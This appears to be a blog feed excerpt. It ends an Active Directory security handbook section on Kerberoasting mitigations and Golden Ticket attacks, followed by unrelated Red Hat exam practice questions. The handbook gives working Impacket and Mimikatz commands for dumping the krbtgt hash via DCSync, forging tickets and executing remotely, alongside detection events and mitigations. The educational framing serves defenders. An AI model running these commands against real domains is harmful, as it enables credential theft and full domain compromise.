<h5 id="mitigation-technique-1-rejecting-authentication-requests-not-using-kerberos-flexible-authentication-secure-tunneling-fast">Mitigation Technique 1: Rejecting authentication requests not using Kerberos Flexible Authentication Secure Tunneling (FAST)</h5>
<p>This is also known as Kerberos Armoring. This pre-authentication extension creates a secure channel between the client and the domain controller, aiming to enhance the protection of Kerberos tickets from offline password cracking attempts. While FAST can eradicate the threat posed by Kerberoasting, implementing it quickly and effectively in an organization can prove to be challenging.</p>
<h5 id="mitigation-technique-2-eliminating-the-use-of-insecure-protocols-in-kerberos">Mitigation Technique 2: Eliminating the use of insecure protocols in Kerberos</h5>
<p>Although completely disabling RC4 is a major task, it is possible to configure individual service accounts to not accept the RC4 protocol. By setting the attribute msDS-SupportedEncryptionTypes to 0x18 (decimal 24), only AES128 and AES256 will be enabled. This change not only improves security but also makes it easier to detect malicious activity as the use of RC4 in a TGS request is a stronger indicator.</p>
<h5 id="mitigation-technique-3-adopting-strong-password-hygiene-practices-for-service-accounts">Mitigation Technique 3: Adopting strong password hygiene practices for service accounts</h5>
<p>Service account passwords should be randomly generated, have a minimum length of 30 characters, and be changed frequently.</p>
<h2 id="golden-ticket-attack">Golden Ticket Attack</h2>
<p>The Golden Ticket attack involves forging a Kerberos ticket to gain unauthorized access to a computer system as a privileged user. To carry out the attack, an attacker must obtain the NTHash of the krbtgt account, the account responsible for encrypting and signing all tickets within a domain, as well as the domain&rsquo;s Security Identifier (SID). With this information, the attacker can create a fraudulent golden ticket that mimics a legitimate ticket issued by the domain&rsquo;s authentication server. This golden ticket provides the attacker with the ability to access sensitive information and resources on the targeted system.</p>
<h3 id="tools-and-techniques-to-perform-a-golden-ticket-attack">Tools and Techniques to Perform a Golden Ticket Attack</h3>
<p>Adversaries can use multiple third-party tools such as Mimikatz and Impacket to perform a Golden Ticket attack.</p>
<h4 id="tool-1-impacket-1">Tool 1: Impacket</h4>
<p>In this scenario, we will assume that upon performing a Kerberoasting attack, an attacker dumped a file of hashes and cracked them to gain administrator access to the Domain Controller. In other words, we have the plaintext password of an administrator user that can access the DC. In addition, our domain name will be EXAMPLE.local for efficiency.</p>
<p>A typical Golden Ticket attack with Impacket consists of two main parts.</p>
<h5 id="step-1-forging-a-golden-ticket">Step 1: Forging a golden ticket</h5>
<p>To create a valid golden ticket, certain information is required, such as the NTHash of the domain controller&rsquo;s krbtgt account and the domain SID. This information can be obtained by using the secretsdump.py script from Impacket, provided that the attacker has administrator access to the domain controller. Below, you will find the proper syntax to dump NTHash for the krbtgt account <sup id="fnref:29"><a href="#fn:29" class="footnote-ref" role="doc-noteref">29</a></sup>.</p>
<pre tabindex="0"><code>secretdump.py Administrator:&#34;Password&#34;@&lt;DC_IP_Address&gt;
</code></pre><p>Assume that NTHash is bf106a6860c6f7b3317c653a38aba33.</p>
<p>Next, the attacker needs to learn the domain SID. For this, they can leverage Impacket’s lookupsid.py tool. Note that even though the attacker chooses the DC as the target, this attack works with any domain controller.</p>
<pre tabindex="0"><code>lookupsid.py EXAMPLE.local/Administrator:&#34;Password&#34;@&lt;DC_IP_Address&gt;
</code></pre><p>Assume that the domain SID is S-5-1-5-21-2049251289-867822404-1193079966.</p>
<p>Finally, the attacker uses Impacket’s ticketer.py tool to forge a golden ticket for a domain user. One advantage of the ticketer.py is that the forged ticket gets written to a .ccache file instead of .kirbi; in other words, the attacker does not have to convert it.</p>
<pre tabindex="0"><code>ticketer.py -nthash bf106a6860c6f7b3317c653a38aba33 -domain-sid &#34;S-5-1-5-21-2049251289-867822404-1193079966&#34; -domain EXAMPLE.local Alice
</code></pre><p>Note that the command above is an example of an attacker forging a golden ticket for a non-existent domain administrator Alice.</p>
<h5 id="step-2-using-a-golden-ticket">Step 2: Using a golden ticket</h5>
<p>To set up the golden ticket for use, the KRB5CCNAME environment variable needs to be set to the path of the .ccache file, which can be an absolute or relative file path. The KRB5CCNAME environment variable is used to inform Impacket tools that support Kerberos tickets where to find the ticket. This allows the attacker to use the golden ticket to access the system as a privileged user <sup id="fnref1:29"><a href="#fn:29" class="footnote-ref" role="doc-noteref">29</a></sup>.</p>
<p>Next, the adversary can use Impacket’s command execution tools, such as psexec.py, smbexec.py, or wmiexec.py, to load and authenticate with the ticket, eventually giving the adversary a command execution. For Kerberos authentication to work, the adversary has to provide the IP address of the target, the IP address of the Domain Controller, and the domain name.</p>
<pre tabindex="0"><code>psexec.py $EXAMPLE.local/$Administrator@$TARGET_NAME -target-ip $TARGET_IP -dc-ip $DC_IP -no-pass -k
</code></pre><p>Note that while the -no-pass option tells the script to skip password-based authentication, the -k option specifies that the Kerberos ticket should be taken from the KRB5CCNAME environment variable. The purpose of this script is to remotely execute commands on the target computer using Kerberos authentication without having to enter a password.</p>
<h4 id="tool-2-mimikatz">Tool 2: Mimikatz</h4>
<p>A typical Golden Ticket attack with Impacket consists of three main parts.</p>
<h5 id="step-1-compromising-the-password-hash-for-the-krbtgt-account">Step 1: Compromising the password hash for the krbtgt account</h5>
<p>As it was the case with the Impacket scenario, for a Golden Ticket attack to work, an adversary has to have administrator access to a Domain Controller. Hence, we will start with this assumption.</p>
<p>To exfiltrate the password hash of the krbtgt user, the attacker can use the “lsadump::dcsync” command.</p>
<pre tabindex="0"><code>PS&gt; mimikatz.exe &#34;lsadump::dcsync /user:DOMAIN\KRBTGT&#34;

SAM Username          : krbtgt
User Principal Name   : krbtgt@DOMAIN.com
Password last change  : 09/03/2020 14:51:03
Object Security ID    : S-1-5-21-5840559-2756745051-1363507867-502 #

Credentials:
  Hash NTLM: 1b8cee51fd49e55e8c9c9004a4acc159 # NTLM Hash
. . .
aes256_hmac (4096) :
ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5
. . .
</code></pre><p>Notice that &ldquo;lsadump::dcsync /user:DOMAIN\KRBTGT&rdquo; is a command-line argument for Mimikatz that tells it to perform a &ldquo;DCSync&rdquo; operation using the user account &ldquo;DOMAIN\KRBTGT&rdquo;, which is the default account used by the Kerberos authentication service in Windows Active Directory environments <sup id="fnref:30"><a href="#fn:30" class="footnote-ref" role="doc-noteref">30</a></sup>.</p>
<h5 id="step-2-forging-kerberos-tickets">Step 2: Forging Kerberos tickets</h5>
<p>Upon obtaining access to the KRBTGT password hash, they can use Mimikatz to forge Kerberos tickets. This can involve creating a fake ticket-granting ticket (TGT) for a nonexistent user account.

    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Info</b>
        </div>
        <div class="admonition-content">Note that security updates in November 2021 for Kerberos have patched this method of attack. As a result, if the domain controllers have installed the update, a real user account must be used.</div>
    </aside></p>
<p>To forge a TGT, the attacker needs to supply certain information to the Mimikatz kerberos::golden function: The domain&rsquo;s fully qualified domain name, the security identifier of the domain (SID), the password hash of the KRBTGT user (using AES-256, and alternatively AES-128, NTLM, or RC4), the username to impersonate, the RID of groups to include in the ticket with the first being the primary group of the user, and the ptt flag to indicate whether the forged ticket should be injected into the current session instead of saving it to a file:</p>
<pre tabindex="0"><code>PS&gt; mimikatz.exe &#34;kerberos::golden /domain:domain.com

/sid:S-1-5-21-5840559-2756745051-1363507867
/aes256:ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5
/id:500 /user:NonExistentAdministator /groups:GroupNumber1, GroupNumber2 /ptt&#34;

User      : NonExistentAdministator
Domain    : domain.com (DOMAIN)
SID       : S-1-5-21-5840559-2756745051-1363507867
User Id   : 500
Groups Id : *513 2668
ServiceKey: ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 -
aes256_hmac
-&gt; Ticket : ** Pass The Ticket **
. . .
Golden ticket for &#39;NonExistentUser@domain.com&#39; successfully submitted for
current session
</code></pre><p>Note that with the /id flag the adversary indicated the user id that they want to create the ticket for. In this case the attacker passes the 500 value to the /id flag to create an Administrator account. The name of the user account can be anything, as given in the example.</p>
<h5 id="step-3-using-the-forged-kerberos-ticket">Step 3: Using the forged kerberos ticket</h5>
<p>The attacker can utilize the forged ticket to gain access to resources integrated with Kerberos. The TGT is signed and encrypted with the actual KRBTGT password hash, which makes it a valid proof of identity in the eyes of any domain controller. The domain controller will then issue ticket-granting service (TGS) tickets based on the TGT.</p>
<p>As the attacker gains more information about the environment, they can use the forged tickets to access applications, databases, or other resources that use Active Directory for authentication and authorization. The attacker may target specific groups by including their RID in the ticket-forging process. For instance, they might discover the group &ldquo;MSSQL Administrators&rdquo; with the corresponding RID during a discovery phase, which might give them access to valuable databases <sup id="fnref1:30"><a href="#fn:30" class="footnote-ref" role="doc-noteref">30</a></sup>.</p>
<h4 id="detection-methods-for-the-golden-ticket-attack">Detection Methods for the Golden Ticket Attack</h4>
<p><strong>Event ID 4769</strong> - A Kerberos Service Ticket was requested.</p>
<ul>
<li>Key Description Fields: Account Name, Service Name, Client Address</li>
</ul>
<p><strong>Event ID 4624</strong> - An account was successfully logged on.</p>
<ul>
<li>Key Description Fields: Account Name, Account Domain, Logon ID</li>
</ul>
<p><strong>Event ID 4627</strong> - Identifies the account that requested the logon.</p>
<ul>
<li>Key Description Fields: Security ID, Account Name, Account Domain, Logon ID</li>
</ul>
<h4 id="mitigation-techniques-for-the-golden-ticket-attack">Mitigation Techniques for the Golden Ticket Attack</h4>
<p>To guard against Kerberoasting attacks, it is recommended to take steps to limit the access of adversaries and make it harder for them to obtain the password hash of the KRBTGT user. This can be achieved through the following actions <sup id="fnref2:30"><a href="#fn:30" class="footnote-ref" role="doc-noteref">30</a></sup>, <sup id="fnref:31"><a href="#fn:31" class="footnote-ref" role="doc-noteref">31</a></sup>:</p>
<h5 id="mitigation-technique-1-restricting-administrative-privileges-across-security-boundaries">Mitigation Technique 1: Restricting administrative privileges across security boundaries</h5>
<p>Organizations should not allow users to possess administrative privileges across security boundaries. For instance, an attacker who gains access to a workstation should not be able to escalate their privileges to target the domain controller.</p>
<h5 id="mitigation-technique-2-minimizing-elevated-privileges">Mitigation Technique 2: Minimizing elevated privileges</h5>
<p>Service accounts with high privileges, such as Domain Admins, should be granted only when necessary. By limiting the number of these accounts, organizations can reduce the number of targets for an attacker seeking the KRBTGT hash.</p>
<h5 id="mitigation-technique-3-regularly-changing-the-password-for-the-krbtgt-account">Mitigation Technique 3: Regularly changing the password for the KRBTGT account</h5>
<p>It is important to change the password for the KRBTGT user on a regular schedule and immediately after any changes in personnel responsible for Active Directory administration. The password should be changed twice, with a 12-24 hour interval between the two changes, to avoid any service disruptions.</p>
<h2 id="next-part">Next Part</h2>
<p><a href="https://blzr.sbs/posts/complete-active-directory-security-handbook-2/">The Complete Active Directory Security Handbook (Part-2)</a></p>
<h2 id="references">References</h2>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/bacff5f1-9127-457b-877c-db97b1e1802f">“MS-ADTS: Introduction”</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://www.intermedia.com/blog/what-is-active-directory-and-why-is-it-so-important/">“Active Directory: What is it? Why is it important?”</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://cloudinfrastructureservices.co.uk/benefits-of-active-directory/">“Benefits of Active Directory (Pros and Cons)”</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://montra.io/benefits-of-microsoft-365-and-azure-active-directory-for-identity-management/">“Benefits of Microsoft 365 and Azure Active Directory for Identity Management”</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://www.verizon.com/business/resources/reports/dbir/2022/master-guide/">“DBIR Report 2022 - Masters Guide”</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://www.ibm.com/downloads/cas/3R8N1DZJ">“Cost of a Data Breach Report 2022”</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://learn.microsoft.com/en-us/azure/active-directory/fundamentals/active-directory-compare-azure-ad-to-ad">“Compare Active Directory to Azure Active Directory”</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://thenewstack.io/how-attackers-move-from-azure-active-directory-to-on-prem-ad/">“How Attackers Move from Azure Active Directory to On-Prem AD”</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p><a href="https://github.com/ParrotSec/mimikatz">“GitHub - ParrotSec/mimikatz”</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p><a href="https://github.com/Hackplayers/evil-winrm">“GitHub - Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting”</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procdump">“ProcDump - Sysinternals”</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p><a href="https://jpcertcc.github.io/ToolAnalysisResultSheet/details/gsecdump.htm">“gsecdump”</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:13">
<p><a href="https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm">“5985,5986 - Pentesting WinRM”</a>&#160;<a href="#fnref:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:14">
<p><a href="https://jpcertcc.github.io/ToolAnalysisResultSheet/details/Mimikatz_sekurlsa-logonpasswords.htm">“mimikatz &gt; sekurlsa::logonpasswords”</a>&#160;<a href="#fnref:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:15">
<p><a href="https://www.jpcert.or.jp/english/pub/sr/20170612ac-ir_research_en.pdf">“Detecting Lateral Movement through Tracking Event Logs”</a>&#160;<a href="#fnref:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:16">
<p><a href="https://blog.netwrix.com/2021/11/30/how-to-detect-pass-the-hash-attacks/">“How to Detect Pass-the-Hash Attacks”</a>&#160;<a href="#fnref:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:17">
<p><a href="https://scadahacker.com/library/Documents/White_Papers/Microsoft%20-%20Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf">“Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft Techniques”</a>&#160;<a href="#fnref:17" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:18">
<p><a href="https://github.com/gentilkiwi/kekeo">“GitHub - gentilkiwi/kekeo: A little toolbox to play with Microsoft Kerberos in C”</a>&#160;<a href="#fnref:18" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:19">
<p><a href="https://github.com/GhostPack/Rubeus">“GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog”</a>&#160;<a href="#fnref:19" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:20">
<p><a href="https://www.kali.org/tools/creddump7/">“creddump7”</a>&#160;<a href="#fnref:20" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:21">
<p><a href="https://www.hackingarticles.in/a-detailed-guide-on-rubeus/">“A Detailed Guide on Rubeus”</a>&#160;<a href="#fnref:21" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:22">
<p><a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview">“Kerberos Authentication Overview”</a>&#160;<a href="#fnref:22" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:23">
<p><a href="https://www.thehacker.recipes/ad/movement/kerberos/kerberoast">“Kerberoast”</a>&#160;<a href="#fnref:23" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:23" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:24">
<p><a href="https://www.netwrix.com/cracking_kerberos_tgs_tickets_using_kerberoasting.html">“Kerberoasting Attack”</a>&#160;<a href="#fnref:24" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:25">
<p><a href="https://www.youtube.com/watch?v=u6GwzBps6Lo">“Attack Tutorial: How the Kerberoasting Attack Works”</a>&#160;<a href="#fnref:25" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:26">
<p><a href="https://adsecurity.org/?p=3466">“Sneaky Persistence Active Directory Trick #18: Dropping SPNs on Admin Accounts for Later Kerberoasting”</a>&#160;<a href="#fnref:26" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:27">
<p><a href="https://adsecurity.org/?p=3458">“Detecting Kerberoasting Activity”</a>&#160;<a href="#fnref:27" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:28">
<p><a href="https://www.netwrix.com/cracking_kerberos_tgs_tickets_using_kerberoasting.html">“Website”</a>&#160;<a href="#fnref:28" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:29">
<p><a href="https://kylemistele.medium.com/impacket-deep-dives-vol-2-attacking-kerberos-922e8cdd472a">“Impacket Deep Dives Vol. 2: Attacking Kerberos - Kyle Mistele,”</a>&#160;<a href="#fnref:29" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:29" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:30">
<p><a href="https://www.netwrix.com/how_golden_ticket_attack_works.html">“Golden Ticket Attack”</a>&#160;<a href="#fnref:30" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:30" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:30" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:31">
<p><a href="https://blog.quest.com/golden-ticket-attacks-how-they-work-and-how-to-defend-against-them/">“Golden ticket attacks: How they work — and how to defend against them”</a>&#160;<a href="#fnref:31" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content></item><item><title>Redhat Practice</title><link>https://blzr.sbs/posts/redhat-practice/</link><pubDate>Mon, 01 Apr 2024 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/redhat-practice/</guid><description>Redhat Practice</description><content type="html"><![CDATA[<h3 id="question-1">QUESTION 1</h3>
<p>Configure your Host Name, IP Address, Gateway and DNS.</p>
<p>Host name: station.domain40.example.com
/etc/sysconfig/network
hostname=abc.com
hostname abc.com
IP Address:172.24.40.40/24
Gateway:172.24.40.1
DNS:172.24.40.1</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /etc/syscofig/network-scripts/
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>vim ifcfg-eth0 <span style="color:#75715e">#(Configure IP Address, Gateway and DNS) </span>
</span></span><span style="display:flex;"><span>	IPADDR<span style="color:#f92672">=</span>172.24.40.40
</span></span><span style="display:flex;"><span>	GATEWAY<span style="color:#f92672">=</span>172.24.40.1
</span></span><span style="display:flex;"><span>	DNS1<span style="color:#f92672">=</span>172.24.40.1
</span></span><span style="display:flex;"><span>vim /etc/sysconfig/network <span style="color:#75715e">#(Configure Host Name)</span>
</span></span><span style="display:flex;"><span>	HOSTNAME<span style="color:#f92672">=</span> station.domain40.example.com
</span></span></code></pre></div><h3 id="question-2">QUESTION 2</h3>
<p>Add 3 users: harry, natasha, tom.
The requirements: The Additional group of the two users: harry, Natasha is the admin group.
The user: tom&rsquo;s login shell should be non-interactive.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>useradd -G admin harry
</span></span><span style="display:flex;"><span>useradd -G admin natasha
</span></span><span style="display:flex;"><span>useradd -s /sbin/nologin tom
</span></span><span style="display:flex;"><span>id harry;id Natasha <span style="color:#f92672">(</span>Show additional group<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>cat /etc/passwd <span style="color:#f92672">(</span>Show the login shell<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>OR</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>system-config-users
</span></span></code></pre></div><h3 id="question-3">QUESTION 3</h3>
<p>Create a catalog under /home named admins. Its respective group is requested to be the admin group. The group users could read and write, while other users are not allowed to access it.
The files created by users from the same group should also be the admin group.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /home/
</span></span><span style="display:flex;"><span>mkdir admins /
</span></span><span style="display:flex;"><span>chown .admin admins/
</span></span><span style="display:flex;"><span>chmod <span style="color:#ae81ff">770</span> admins/
</span></span><span style="display:flex;"><span>chmod g+s admins/
</span></span></code></pre></div><h3 id="question-4">QUESTION 4</h3>
<p>Configure a task: plan to run echo hello command at 14:23 every day.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>which echo
</span></span><span style="display:flex;"><span>crontab -e
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">23</span> <span style="color:#ae81ff">14</span> * * * /bin/echo hello
</span></span><span style="display:flex;"><span>crontab -l <span style="color:#75715e">#(Verify)</span>
</span></span></code></pre></div><h3 id="question-5">QUESTION 5</h3>
<p>Create a 2G swap partition which take effect automatically at boot-start, and it should not affect the original swap partition.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>fdisk /dev/sda
</span></span><span style="display:flex;"><span>    p <span style="color:#75715e">#(check Partition table)</span>
</span></span><span style="display:flex;"><span>    n <span style="color:#75715e">#(create new partition: press e to create extended partition, press p to create the main partition, and the extended partition is further divided into logical partitions)</span>
</span></span><span style="display:flex;"><span>    Enter
</span></span><span style="display:flex;"><span>    +2G
</span></span><span style="display:flex;"><span>    t
</span></span><span style="display:flex;"><span>    l
</span></span><span style="display:flex;"><span>    W
</span></span><span style="display:flex;"><span>partx -a /dev/sda
</span></span><span style="display:flex;"><span>partprobe
</span></span><span style="display:flex;"><span>mkswap /dev/sda8
</span></span><span style="display:flex;"><span>Copy UUID
</span></span><span style="display:flex;"><span>swapon -a
</span></span><span style="display:flex;"><span>vim /etc/fstab
</span></span><span style="display:flex;"><span>    UUID<span style="color:#f92672">=</span>XXXXX swap swap defaults <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>swapon -s
</span></span></code></pre></div><h3 id="question-6">QUESTION 6</h3>
<p>Create a user named alex, and the user id should be 1234, and the password should be alex111.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>useradd -u <span style="color:#ae81ff">1234</span> alex
</span></span><span style="display:flex;"><span>passwd alex
</span></span><span style="display:flex;"><span>    alex111
</span></span><span style="display:flex;"><span>    alex111
</span></span></code></pre></div><p>OR</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>echo alex111|passwd -stdin alex
</span></span></code></pre></div><h3 id="question-7">QUESTION 7</h3>
<p>Install a FTP server, and request to anonymous download from /var/ftp/pub catalog. (it needs you to configure yum direct to the already existing file server)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /etc/yum.repos.d
</span></span><span style="display:flex;"><span>vim local.repo
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">[</span>local<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>    name<span style="color:#f92672">=</span>local.repo
</span></span><span style="display:flex;"><span>    baseurl<span style="color:#f92672">=</span>file:///mnt
</span></span><span style="display:flex;"><span>    enabled<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>    gpgcheck<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>yum makecache
</span></span><span style="display:flex;"><span>yum install -y vsftpd
</span></span><span style="display:flex;"><span>service vsftpd restart
</span></span><span style="display:flex;"><span>chkconfig vsftpd on
</span></span><span style="display:flex;"><span>chkconfig --list vsftpd
</span></span><span style="display:flex;"><span>vim /etc/vsftpd/vsftpd.conf
</span></span><span style="display:flex;"><span>    anonymous_enable<span style="color:#f92672">=</span>YES
</span></span></code></pre></div><h3 id="question-8">QUESTION 8</h3>
<p>Configure a HTTP server, which can be accessed through <a href="http://station.domain40.example.com">http://station.domain40.example.com</a>.
Please download the released page from http://ip/dir/example.html.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yum install -y httpd
</span></span><span style="display:flex;"><span>chkconfig httpd on
</span></span><span style="display:flex;"><span>cd /var/www/html
</span></span><span style="display:flex;"><span>wget http://ip/dir/example.html
</span></span><span style="display:flex;"><span>cp example.com index.html
</span></span><span style="display:flex;"><span>vim /etc/httpd/conf/httpd.conf
</span></span><span style="display:flex;"><span>    NameVirtualHost 192.168.0.254:80
</span></span><span style="display:flex;"><span>    &lt;VirtualHost 192.168.0.254:80&gt;
</span></span><span style="display:flex;"><span>    DocumentRoot /var/www/html/
</span></span><span style="display:flex;"><span>    ServerName station.domain40.example.com
</span></span><span style="display:flex;"><span>    &lt;/VirtualHost&gt;
</span></span></code></pre></div><h3 id="question-9">QUESTION 9</h3>
<p>Configure the verification mode of your host account and the password as LDAP. And it can ldapuser40. The password is set as &ldquo;password&rdquo;. And the certificate login successfully through
can be downloaded from http://ip/dir/ldap.crt. After the user logs on , the user has no host directory unless you configure the autofs in the following questions.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>system-config-authentication
</span></span><span style="display:flex;"><span>    LDAP Server: ldap//instructor.example.com <span style="color:#f92672">(</span>In domain form, not write IP<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>OR</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yum groupinstall directory-client <span style="color:#f92672">(</span>1.krb5-workstation 2.pam-krb5 3.sssd<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>system-config-authentication
</span></span><span style="display:flex;"><span>    1.User Account Database: LDAP
</span></span><span style="display:flex;"><span>    2.LDAP Search Base DN: dc<span style="color:#f92672">=</span>example,dc<span style="color:#f92672">=</span>com
</span></span><span style="display:flex;"><span>    3.LDAP Server: ldap://instructor.example.com <span style="color:#f92672">(</span>In domain form, not write IP<span style="color:#f92672">)</span> 4.Download CA Certificate
</span></span><span style="display:flex;"><span>    5.Authentication Method: LDAP password
